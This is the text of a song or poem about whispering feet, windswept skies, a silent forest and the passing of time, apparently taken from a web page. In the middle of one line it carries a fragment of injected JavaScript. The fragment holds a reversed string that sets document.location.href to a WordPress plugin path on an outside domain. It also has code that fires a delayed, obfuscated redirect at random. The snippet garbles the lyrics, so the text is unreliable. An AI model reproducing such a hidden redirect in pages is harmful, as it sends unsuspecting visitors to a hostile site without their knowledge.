Oh the whispering feet,
Of unheard melodies,
Sung from silent strings,
Oh the trembling trees,
Shaking ceaselessly,
Moving through all things,
Footsteps on
The trail of memory,
Beneath the windswept skies,
The lantern appears,
Upon the horizon,
Gazed with faceless eyes…
And all our days,
Sing in a chorus,
And the wind dispels all doubt,
And the song is born,
In a silent forest,
When the leaves shake all about…
Oh the thunderous beat,
Of water drumming,
Upon the stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones of time,
Hidden beneath,
A harps strumming,
Woven in the rhyme…
Oh the circles etched,
In fields of wheat,
Appear in morning light,
And no other blade,
Around was broken,
From the movements of the night…
And all our days,
Like grassy blades,
Before the sickle of time,
And the song is born,
As the wood is adorned,
In the ornament of rhyme…
In the fields of night,
In the cloud-cast light,
The grasses bow and bend,
As the fluttering flights,
Of wings of wisdom,
Wave the will of the wind…
And all our days,
Sing in a chorus,
And the wind dispels all doubt,
And the song is born,
In a silent forest,
When the leaves shake all about…
